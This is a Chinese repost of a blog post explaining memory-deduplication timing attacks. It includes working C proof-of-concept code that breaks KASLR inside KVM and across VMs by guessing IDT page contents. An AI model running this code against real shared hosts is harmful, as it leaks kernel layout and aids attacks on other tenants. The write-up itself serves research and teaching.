Memory Deduplication Attacks

原文

最近看到了一系列描述Memory Deduplication Attacks的研究,它已被用于指纹系统[1]、破解 (K)ASLR[2,3,4]、泄漏数据库记录[4],甚至利用 rowhammer[ 5]。这是一类非常酷的攻击,以前从未听说过,但我没有太多运气找到这些攻击的任何 POC……所以,我想我应该写下我学到的关于这些攻击如何运作的知识,并写下我自己的其中一种攻击版本可用于破坏当前 VM 以及跨 VM 的 KVM 中的 KASLR。

可以在此处找到与本文相关的代码示例存储库:https://github.com/zolutal/dedup-attacks

什么是Memory Deduplication

Memory Deduplication 是一种减少系统上使用的内存量的优化。这个想法是,相似的进程可能具有相似的内存内容,因此通过将具有相同内容的内存页指向相同的物理地址并将它们标记为写时复制,可以节省大量内存。

Linux 通过Kernel Same-Page Merging(KSM)来实现这一点,顾名思义,它通过将具有相同内容的页面指向相同的物理内存来“合并”它们。 KSM 将以可配置的时间间隔定期运行,每次扫描多个页面以查找要合并的相同内容。

请注意,默认情况下可能未启用 KSM。此外,并非每个页面都是可合并的,在 Linux 上,只有明确标记为可合并的页面才可合并,例如将 madvise 与 MADV_MERGABLE 结合使用。

有关如何启用和配置 KSM 的文档位于此处:Kernel Samepage Merging

作为参考,Ubuntu 计算机上 KSM 的默认配置:

/sys/kernel/mm/ksm/run:1
/sys/kernel/mm/ksm/stable_node_chains_prune_millisecs:2000
/sys/kernel/mm/ksm/merge_across_nodes:1
/sys/kernel/mm/ksm/use_zero_pages:0
/sys/kernel/mm/ksm/pages_to_scan:100
/sys/kernel/mm/ksm/sleep_millisecs:200
/sys/kernel/mm/ksm/use_zero_pages:0

观察Memory Deduplication

如前所述,当页面被合并时,它会被设置为写时复制(CoW),简而言之,这只是意味着它的访问权限被设置为不可写(写保护),因此如果合并,就会发生页面错误,当内核发现尝试写入写时复制页面时发生页面错误时,它将将该页面的内容复制到新分配的页面,并在新页面上执行写操作。

因此,如果我们有一个已进行Deduplication的页面并对其进行写入,则会发生页面错误。页面错误必须由内核处理,内核必须识别页面错误是对写时复制页面的写入,分配一个新页面,将旧页面的内容复制到新页面,然后执行在返回用户空间之前再次写入。这是一大堆事情,比无故障内存写入需要更长的时间,这意味着我们可以轻松地使用计时器来记录写入是否是故障写入,从而使我们能够检测给定页面上是否发生了重复数据删除。

定时页面错误

那么利用deduplication的第一步是能够检测何时发生页面错误。演示页面错误检测的一个简单方法是使用使用 mmap 分配的内存。在 Linux 上,mmap 的默认行为是不立即分配所请求的内存。这是因为 Linux 实现了按需分页,因此页面在第一次访问之前不会分配内存。我们可以从下面的例子中看到这一点。

// write a null byte to addr
void poke(char *addr) { *addr = '\0'; }// return the difference in the processor's timestamp before and after poke
uint64_t time_poke(char *addr) {uint64_t start = __rdtsc();poke(addr);uint64_t end = __rdtsc();return end-start;
}// allocate a single read/write anon/private page
void *alloc_page() {return mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
}int main() {void *page = alloc_page();// demonstrates that faulting accesses have distinct timingsprintf("fault     : %ld cycles\n", time_poke(page));printf("post-fault: %ld cycles\n", time_poke(page));
}

计时器不是特别精确,但实际上并不需要如此,因为页面错误需要多长时间,以下是我运行此代码的结果:

fault     : 7290 cycles
post-fault: 108 cycles

请注意,第一次访问花费的时间更长,这是因为如前所述,直到我尝试访问该页面时,该页面才被实际分配。因此,当我通过调用 poke 写入时,发生了页面错误,导致内核为该页面分配内存。现在,当第二次 Poke 计时时,页面已经分配,​​因此访问速度更快并且不会出现错误。

定时un-merging

现在让我们尝试使用 madvise 和 MADV_MERGABLE 来复制这一点。
除了 madvise 和附加写入之外,设置非常相似,现在我们让页面合并,并计算写时复制页面错误而不是请求分页页面错误。

...
// read a byte from addr
void maccess(char *addr) { volatile char c = *addr; }// time maccess using the processor timestamp
uint64_t time_access(char *addr) {uint64_t start = __rdtsc();maccess(addr);uint64_t end = __rdtsc();return end-start;
}int main() {// allocate victim and attacker pagesvoid *victim = alloc_page();void *attacker = alloc_page();// mark both pages as mergablemadvise(victim, 0x1000, MADV_MERGEABLE);madvise(attacker, 0x1000, MADV_MERGEABLE);// write something unique to both pages so they aren't merged with// other pages, this also faults them to be sure they are allocated*(uint64_t *)victim = 0x1337;*(uint64_t *)attacker = 0x1337;printf("sleeping to wait for merge...\n");sleep(10);printf("finished sleeping... checking access times\n");printf("read  : %ld cycles\n", time_access(attacker));printf("write : %ld cycles\n", time_poke(attacker));printf("write : %ld cycles\n", time_poke(attacker));return 0;
}

输出如下:

sleeping to wait for merge...
finished sleeping... checking access times
read  : 54 cycles
write : 96768 cycles
write : 54 cycles

初始读取速度很快,这意味着该页面存在并且尚未被换出或发生任何其他情况,但第一次写入速度非常慢,而第二次写入速度很快。该结果表明由于页面已合并而在第一次写入时发生了页面错误,并且页面错误的时间差异非常明显。现在我们知道我们可以观察memory deduplication,让我们看看如何利用它。

针对KVM

Kernel Samepage Merging 最初是根据 KVM 设计的[7]。尽管 madvise 将其暴露给任何应用程序,但 KVM 仍然是它的主要用户,如果在系统上启用它,qemu 将默认使用它。

确保为 KVM 启用了 KSM

要检查系统上是否启用了 KSM,请检查 /sys/kernel/mm/ksm/run 的内容,如果设置为"1",则 KSM 已启用。

要检查是否使用 KVM 为 qemu 启用了 KSM,请检查 /etc/default/qemu-kvm 的内容,如果设置为“AUTO”或“1”,则使用 KVM 的 qemu VM 的内存将变得可合并。

观察 KVM 中的deduplication

让我们确认使用类似的设置在 KVM 中可以检测到deduplication。我使用 qemu-system-x86_64 启动了一个 Linux VM,并指定了“-enable-kvm”和“-cpu host”,并运行了以下代码。

// allocate victim and attacker pages
void *victim = alloc_page();
void *attacker = alloc_page();// write something unique to both pages so they aren't merged with
// other zero pages, this also faults them to be sure they are allocated
memset((char *)victim, 0x41, 0x1000);
memset((char *)attacker, 0x41, 0x1000);while (1) {printf("sleeping to wait for merge...\n");sleep(20);printf("finished sleeping... checking access times\n");// make sure attacker is present and in cachetime_access(attacker);printf("write : %ld cycles\n", time_poke(attacker));printf("write : %ld cycles\n", time_poke(attacker));
}

除了在虚拟机内部之外,此测试与上一个测试之间的唯一主要区别是页面不再使用 madvise 标记为可合并,并且计时被包含在循环中(因为合并VM 使用的内存需要更长的时间)。

以下是此测试的输出示例:

...
sleeping to wait for merge...
finished sleeping... checking access times
write : 81 cycles
write : 81 cyclessleeping to wait for merge...
finished sleeping... checking access times
write : 55242 cycles
write : 54 cycles
...

因此,甚至无需将这些页面标记为可合并,我们就可以看到deduplication发生了!

打破KASLR

那么我们如何使用memory deduplication来打破KASLR呢?

描述这种攻击的文章[2]以重定位为目标,其思想是在内核被KASLR重定位后必须调整许多指令,如果我们能找到一些只有少数重定位的代码页,那么只有重新定位的指令在boot之间会有所不同,泄漏重新定位的指令将意味着破坏KASLR。因此,如果我们只是将用户空间中的一个页面与内核代码页的内容进行映射,并强制重定位,直到发生合并,我们就会出现泄漏!

中断描述符表 (IDT) 是此攻击的一个不错的目标,因为它充满了代表中断入口点的条目,这些条目仅在每次启动时因 KASLR 的变化而变化,从而影响它们将指向的地址。这使得生成条目相对容易,我可以启动虚拟机,转储 IDT 以收集每个条目的第一个 qword,根据要定位的内核的最低可能虚拟地址重新设置它们,然后将它们粘贴到数组。我将在存储库中包含一个我编写的脚本,该脚本使生成此数组变得容易。

对于具有如下所示条目的 IDT:

gef➤  x/16gx 0xfffffe0000000000
0xfffffe0000000000:	0x88808e0000100920	0x00000000ffffffff
0xfffffe0000000010:	0x88808e0300100c40	0x00000000ffffffff
0xfffffe0000000020:	0x88808e0200101680	0x00000000ffffffff
0xfffffe0000000030:	0x8880ee0000100b30	0x00000000ffffffff
0xfffffe0000000040:	0x8880ee0000100940	0x00000000ffffffff
0xfffffe0000000050:	0x88808e0000100960	0x00000000ffffffff
0xfffffe0000000060:	0x88808e0000100b10	0x00000000ffffffff
0xfffffe0000000070:	0x88808e0000100980	0x00000000ffffffff

我最终得到一个如下所示的数组:

uint64_t entries[256] = { 0x81208e0000100920, 0x81208e0300100c40, 0x81208e0200101680, 0x8120ee0000100b30, 0x8120ee0000100940, 0x81208e0000100960, 0x81208e0000100b10, 0x81208e0000100980, 0x81208e0100100ca0, 0x81208e00001009a0, 0x81208e0000100a20, 0x81208e0000100a50, 0x81208e0000100a80, 0x81208e0000100ab0, 0x81208e0000100b70, 0x81208e00001009c0, 0x81208e00001009e0, 0x81208e0000100ae0, 0x81208e0400100ba0, 0x81208e0000100a00, 0x81208e0000100db0, 0x82678e000010992d, 0x82678e0000109936, 0x82678e000010993f, 0x82678e0000109948, 0x82678e0000109951, 0x82678e000010995a, 0x82678e0000109963, 0x82678e000010996c, 0x81208e0500100d00, 0x82678e000010997e, 0x82678e0000109987, 0x81208e0000100f10, 0x81208e0000100228, 0x81208e0000100230, 0x81208e0000100238, 0x81208e0000100240, 0x81208e0000100248, 0x81208e0000100250, 0x81208e0000100258, 0x81208e0000100260, 0x81208e0000100268, 0x81208e0000100270, 0x81208e0000100278, 0x81208e0000100280, 0x81208e0000100288, 0x81208e0000100290, 0x81208e0000100298, 0x81208e00001002a0, 0x81208e00001002a8, 0x81208e00001002b0, 0x81208e00001002b8, 0x81208e00001002c0, 0x81208e00001002c8, 0x81208e00001002d0, 0x81208e00001002d8, 0x81208e00001002e0, 0x81208e00001002e8, 0x81208e00001002f0, 0x81208e00001002f8, 0x81208e0000100300, 0x81208e0000100308, 0x81208e0000100310, 0x81208e0000100318, 0x81208e0000100320, 0x81208e0000100328, 0x81208e0000100330, 0x81208e0000100338, 0x81208e0000100340, 0x81208e0000100348, 0x81208e0000100350, 0x81208e0000100358, 0x81208e0000100360, 0x81208e0000100368, 0x81208e0000100370, 0x81208e0000100378, 0x81208e0000100380, 0x81208e0000100388, 0x81208e0000100390, 0x81208e0000100398, 0x81208e00001003a0, 0x81208e00001003a8, 0x81208e00001003b0, 0x81208e00001003b8, 0x81208e00001003c0, 0x81208e00001003c8, 0x81208e00001003d0, 0x81208e00001003d8, 0x81208e00001003e0, 0x81208e00001003e8, 0x81208e00001003f0, 0x81208e00001003f8, 0x81208e0000100400, 0x81208e0000100408, 0x81208e0000100410, 0x81208e0000100418, 0x81208e0000100420, 0x81208e0000100428, 0x81208e0000100430, 0x81208e0000100438, 0x81208e0000100440, 0x81208e0000100448, 0x81208e0000100450, 0x81208e0000100458, 0x81208e0000100460, 0x81208e0000100468, 0x81208e0000100470, 0x81208e0000100478, 0x81208e0000100480, 0x81208e0000100488, 0x81208e0000100490, 0x81208e0000100498, 0x81208e00001004a0, 0x81208e00001004a8, 0x81208e00001004b0, 0x81208e00001004b8, 0x81208e00001004c0, 0x81208e00001004c8, 0x81208e00001004d0, 0x81208e00001004d8, 0x81208e00001004e0, 0x81208e00001004e8, 0x81208e00001004f0, 0x81208e00001004f8, 0x81208e0000100500, 0x81208e0000100508, 0x81208e0000100510, 0x81208e0000100518, 0x8120ee0000101a80, 0x81208e0000100528, 0x81208e0000100530, 0x81208e0000100538, 0x81208e0000100540, 0x81208e0000100548, 0x81208e0000100550, 0x81208e0000100558, 0x81208e0000100560, 0x81208e0000100568, 0x81208e0000100570, 0x81208e0000100578, 0x81208e0000100580, 0x81208e0000100588, 0x81208e0000100590, 0x81208e0000100598, 0x81208e00001005a0, 0x81208e00001005a8, 0x81208e00001005b0, 0x81208e00001005b8, 0x81208e00001005c0, 0x81208e00001005c8, 0x81208e00001005d0, 0x81208e00001005d8, 0x81208e00001005e0, 0x81208e00001005e8, 0x81208e00001005f0, 0x81208e00001005f8, 0x81208e0000100600, 0x81208e0000100608, 0x81208e0000100610, 0x81208e0000100618, 0x81208e0000100620, 0x81208e0000100628, 0x81208e0000100630, 0x81208e0000100638, 0x81208e0000100640, 0x81208e0000100648, 0x81208e0000100650, 0x81208e0000100658, 0x81208e0000100660, 0x81208e0000100668, 0x81208e0000100670, 0x81208e0000100678, 0x81208e0000100680, 0x81208e0000100688, 0x81208e0000100690, 0x81208e0000100698, 0x81208e00001006a0, 0x81208e00001006a8, 0x81208e00001006b0, 0x81208e00001006b8, 0x81208e00001006c0, 0x81208e00001006c8, 0x81208e00001006d0, 0x81208e00001006d8, 0x81208e00001006e0, 0x81208e00001006e8, 0x81208e00001006f0, 0x81208e00001006f8, 0x81208e0000100700, 0x81208e0000100708, 0x81208e0000100710, 0x81208e0000100718, 0x81208e0000100720, 0x81208e0000100728, 0x81208e0000100730, 0x81208e0000100738, 0x81208e0000100740, 0x81208e0000100748, 0x81208e0000100750, 0x81208e0000100758, 0x81208e0000100760, 0x81208e0000100768, 0x81208e0000100770, 0x81208e0000100778, 0x81208e0000100780, 0x81208e0000100788, 0x81208e0000100790, 0x81208e0000100798, 0x81208e00001007a0, 0x81208e00001007a8, 0x81208e00001007b0, 0x81208e00001007b8, 0x81208e00001007c0, 0x81208e00001007c8, 0x81208e00001007d0, 0x81208e00001007d8, 0x81208e00001007e0, 0x81208e00001007e8, 0x81208e00001007f0, 0x81208e00001007f8, 0x81208e0000100800, 0x81208e0000100808, 0x81208e0000100810, 0x81208e0000100818, 0x81208e0000100820, 0x81208e0000100828, 0x81208e0000100830, 0x81208e0000100838, 0x81208e0000100840, 0x81208e0000100848, 0x81208e0000100850, 0x81208e0000100858, 0x81208e0000100860, 0x81208e0000100868, 0x81208e0000100870, 0x81208e0000100878, 0x81208e0000100eb0, 0x81208e0000100888, 0x81208e0000100890, 0x81208e0000100898, 0x81208e0000101050, 0x81208e0000101030, 0x81208e0000101010, 0x81208e0000101110, 0x81208e0000100fb0, 0x81208e00001008c8, 0x81208e0000100ff0, 0x81208e0000100ed0, 0x81208e0000100f30, 0x81208e0000100f90, 0x81208e0000100fd0, 0x81208e0000100f50, 0x81208e0000100f70, 0x81208e0000100ef0, 0x81208e0000100e70, 0x81208e0000100e90 };

创建该数组后,可以很容易地为潜在的 KASLR 偏移量生成 IDT 页:

void *setup_idt_page(uint16_t offset) {uint64_t *page = alloc_page();for (int i = 0; i < 256; i++) {uint64_t shifted_offset = (uint64_t)offset << 53;page[i*2] = shifted_offset + entries[i];page[i*2+1] = 0x00000000ffffffff;}return page;
}

现在剩下的就是将它们放在一起,我们将构建一个可以通过利用 IDT 页面上的 KSM 来破坏 KVM 内的 KASLR 的攻击!

// create candidate IDT pages
void *idt_pages[512];
for (int i = 0; i < 512; i++)idt_pages[i] = setup_idt_page(i);// detect if any candidate pages were merged
int attempt = 0;
while (1) {printf("-- beginning attempt %d --\n", ++attempt);uint64_t results[512];for (int i = 0; i < 512; i++) {void *page = idt_pages[i];time_access(page);uint64_t first = time_poke(page);uint64_t second = time_poke(page);void *base = (void *)0xffffffff80000000 + (i << 21);printf("%p (%#03x): %ld => %ld\n", base, i, first, second);results[i] = first;}for (uint64_t i = 0; i < 512; i++) {if (results[i] > MERGE_THRESHOLD) {printf("detected merged page at index %#03lx\n", i);printf("kernel base = %p\n", (void *)0xffffffff80000000 + (i << 21));return 0;}}sleep(20);
}

在我的主机上 KSM 的默认配置下,我在一个已经运行了几分钟的虚拟机上用了不到九分钟就成功完成了 打破KASLR。

要看到攻击起作用而不必等待这么长时间,请考虑将 KSM 的 sleep_miliseconds 配置值降低到 20 毫秒左右。

跨虚拟机打破 KASLR

好吧,现在跨虚拟机怎么样?好吧,实际上没有什么可做的了。

在当前虚拟机上破坏 KASLR 的代码已经可以跨虚拟机工作,只要它们使用 KSM,它就会检测任何正在运行的虚拟机上存在的任何匹配的 IDT。

为了确认这一点,我运行了两个具有相同内核映像的虚拟机,并从攻击循环中删除了退出条件,这样即使它发现了重复数据删除的 IDT 页面,它也会继续运行,结果如下:

VM 1: 虚拟机1:

root@host:~/kvm-kaslr# cat /proc/kallsyms | grep "T _text"
ffffffffb5800000 T _text

VM 2: 虚拟机2:

/home/root # cat /proc/kallsyms | grep "T _text"
ffffffffb4400000 T _text

运行攻击一段时间后我得到了这个:

detected merged page at index 0x1ac
kernel base = 0xffffffffb5800000

随其后的是

detected merged page at index 0x1a2
kernel base = 0xffffffffb4400000

跨VM泄漏实现!

参考

[1] Rodney Owens and Weichao Wang. Non-interactive OS fingerprinting through memory de-duplication technique in virtual machines. In International Performance Computing and Communications Conference, 2011.

[2] Taehun Kim, Taehyun Kim, and Youngjoo Shin. Breaking kaslr using memory deduplication in virtualized environments. Electronics, 2021. URL: https://www.mdpi.com/2079-9292/10/17/2174.

[3] Antonio Barresi, Kaveh Razavi, Mathias Payer, and Thomas R. Gross. CAIN: silently breaking ASLR in the cloud. In WOOT, 2015.

[4] Martin Schwarzl, Erik Kraft, Moritz Lipp, and Daniel Gruss. Remote Page Deduplication Attacks. In NDSS, 2022.

[5] K. Razavi, B. Gras, E. Bosman, B. Preneel, C. Giuffrida, and H. Bos. Flip Feng Shui: Hammering a Needle in the Software Stack. in SEC, 2016.

[6] E. Bosman, K. Razavi, H. Bos, and C. Giuffrida. Dedup Est Machina: Memory Deduplication as an Advanced Exploitation Vector. In SP, 2016.

[7] lwn:https://lwn.net/Articles/306704/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/626364.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Jmeter后置处理器——JSON提取器

目录 1、简介 2、使用步骤 1&#xff09;添加线程组 2&#xff09;添加http请求 3&#xff09; 添加JSON提取器 1、简介 JSON是一种简单的数据交换格式&#xff0c;允许互联网应用程序快速传输数据。JSON提取器可以从JSON格式响应数据中提取数据、简化从JSON原始数据中提取特定…

Java学习——Junit单元测试

​​ Junit&#xff1a;事实上的标准单元测试框架 使用Junit&#xff1a;只需要使用 TestCase 和 Assert http://t.csdnimg.cn/hgMFJ

Linux网络编程---IP 地址格式转换函数

Linux网络编程—IP 地址格式转换函数 我们更容易阅读的IP地址是以点分十进制表示的&#xff0c;例如&#xff1a;192.168.5.10 &#xff0c;这是一种字符串的形式&#xff0c;但是计算器所需要的IP地址是以二进制进行表示&#xff0c;这便需要我们在点分十进制字符串和二进制地…

java基础类型与输入输出

本文简述在算法中常用的基本数据类型&#xff0c;以及输入输出方法。 数据类型 1.int&#xff08;整型&#xff09; int数据类型是32位、有符号的整数&#xff0c;以二进制补码表示。 最小值是-2&#xff0c;147&#xff0c;483&#xff0c;648 (-2^31)。 最大值是2&#xf…

java版直播商城平台规划及常见的营销模式 电商源码/小程序/三级分销+商城 免 费 搭 建

鸿鹄云商 B2B2C产品概述 【B2B2C平台】&#xff0c;以传统电商行业为基石&#xff0c;鸿鹄云商支持“商家入驻平台自营”多运营模式&#xff0c;积极打造“全新市场&#xff0c;全新 模式”企业级B2B2C电商平台&#xff0c;致力干助力各行/互联网创业腾飞并获取更多的收益。从消…

【现代密码学】笔记6--伪随机对象的理论构造《introduction to modern cryphtography》

【现代密码学】笔记6--伪随机对象的理论构造《introduction to modern cryphtography》 写在最前面6 伪随机对象的理论构造 写在最前面 主要在 哈工大密码学课程 张宇老师课件 的基础上学习记录笔记。 内容补充&#xff1a;骆婷老师的PPT 《introduction to modern cryphtogr…

Qt/C++中英输入法/嵌入式输入法/小数字面板/简繁切换/特殊字符/支持Qt456

一、前言 在嵌入式板子上由于没有系统层面的输入法支持&#xff0c;所以都绕不开一个问题&#xff0c;那就是在需要输入的UI软件中&#xff0c;必须提供一个输入法来进行输入&#xff0c;大概从Qt5.7开始官方提供了输入法的源码&#xff0c;作为插件的形式加入到Qt中&#xff…

网络广播号角喇叭在智能工地施工现场的应用,以及网络广播在公共广播中的实际作用。

网络号角喇叭在智能工地施工现场的应用&#xff0c;以及网络广播在公共广播中的实际作用。 SV-7044村村通ip网络通信广播号角喇叭&#xff0c;网络音箱&#xff0c;网络音柱是一种公共广播技术&#xff0c;主要应用于公共场所&#xff0c;如公交、商场、大型活动场所等。可以用…

visual studio的安装及scanf报错的解决

visual studio是一款很不错的c语言编译器 下载地址&#xff1a;官网 点击后跳转到以下界面 下滑后点击下载Vasual Sutdio&#xff0c;选择社区版即可 选择位置存放下载文件后&#xff0c;即可开始安装 安装时会稍微等一小会儿。然后会弹出这个窗口&#xff0c;我们选择安装位…

linux不同场景下修改文件名的五种方法

开头语&#xff1a; 大家好&#xff0c;欢迎来到本文&#xff01;在Linux系统中&#xff0c;修改文件名是我们在日常工作中经常遇到的任务之一。本文将分享三种常用的Linux修改文件名的方法&#xff0c;旨在帮助大家更灵活高效地管理文件。让我们一起来了解这些方法吧&#xf…

Pandas实战100例 | 案例 55: 应用条件

案例 55: 应用条件 知识点讲解 在数据处理过程中&#xff0c;有时需要根据条件对数据进行转换或计算。Pandas 的 apply 方法允许你对 DataFrame 的每一行或列应用一个自定义函数&#xff0c;实现复杂的逻辑。 应用条件: 使用 apply 方法结合 lambda 函数&#xff0c;可以根据…

go语言中的GoMock

GoMock是一个Go框架。它与内置的测试包整合得很好&#xff0c;并在单元测试时提供了灵活性。正如我们所知&#xff0c;对具有外部资源&#xff08;数据库、网络和文件&#xff09;或依赖关系的代码进行单元测试总是很麻烦。 安装 为了使用GoMock&#xff0c;我们需要安装gomo…

无需编程,简单易上手的家具小程序搭建方法分享

想要开设一家家具店的小程序吗&#xff1f;现在&#xff0c;我将为大家介绍如何使用乔拓云平台搭建一个家具小程序&#xff0c;帮助您方便快捷地开展线上家具销售业务。 第一步&#xff0c;登录乔拓云平台进入商城后台管理页面。 第二步&#xff0c;在乔拓云平台的后台管理页面…

Vulnhub-Raven-1

一、信息收集 端口扫描 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5deb8u4 (protocol 2.0) | ssh-hostkey: | 1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA) |_ 256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:…

Day27- 贪心算法part01

一、分发饼干 题目一&#xff1a;455. 分发饼干 455. 分发饼干 假设你是一位很棒的家长&#xff0c;想要给你的孩子们一些小饼干。但是&#xff0c;每个孩子最多只能给一块饼干。 对每个孩子 i&#xff0c;都有一个胃口值 g[i]&#xff0c;这是能让孩子们满足胃口的饼干的最…

分布式系统中数据库和缓存双写一致性的实现技术

标题&#xff1a;分布式系统中数据库和缓存双写一致性的实现技术 在分布式系统中&#xff0c;为了确保数据库和缓存之间的数据一致性&#xff0c;双写一致性成为了一个关键的挑战。本文将深入探讨如何利用一些常见的技术手段来保证数据库和缓存的双写一致性&#xff0c;以及通…

多线程——CAS

什么是CAS CAS的全称&#xff1a;Compare and swap&#xff0c;字面意思就是&#xff1a;“比较并交换”&#xff0c;一个CAS涉及到以下操作&#xff1a; 假设内存中的原数据V&#xff0c;旧的预期值A&#xff0c;需要修改的新值B 1.比较A与V是否相等&#xff08;比较&#xf…

antd pro项目部署到gitpage白屏

先总结一下如何部署项目到gitpage 1.新建分支gh-pages 2.把打包好的文件放在这个分支下 3. 之前打开一直白屏&#xff0c;有很多坑 第一个&#xff0c;import { getIntl } from umijs/max;这个引入要&#xff0c;不能是./引入的 第二个&#xff0c;新建一个config.prod.t…

@Autoware和@Resource区别

Autowired和Resource区别 一、相同点 作用都是将bean属性注入到对应的属性中去。 二、区别 1、注入方式 &#xff08;1&#xff09;Autowired的注入顺序是先按照bean的类型&#xff08;byType&#xff09;&#xff0c;再按照bean的名字&#xff08;byName&#xff09;。 &…

盘点2023年信息系统故障

安全生产&#xff0c;人人有责。每年信息系统安全事件层出不穷&#xff0c;作为一线运维人员对这些生产安全故障当抱有敬畏之心&#xff0c;并从中总结经验教训&#xff0c;分析原因&#xff0c;不能简单的调侃为开猿节流、降本增笑的结果。本文简要盘点2023年发生的主要信息系…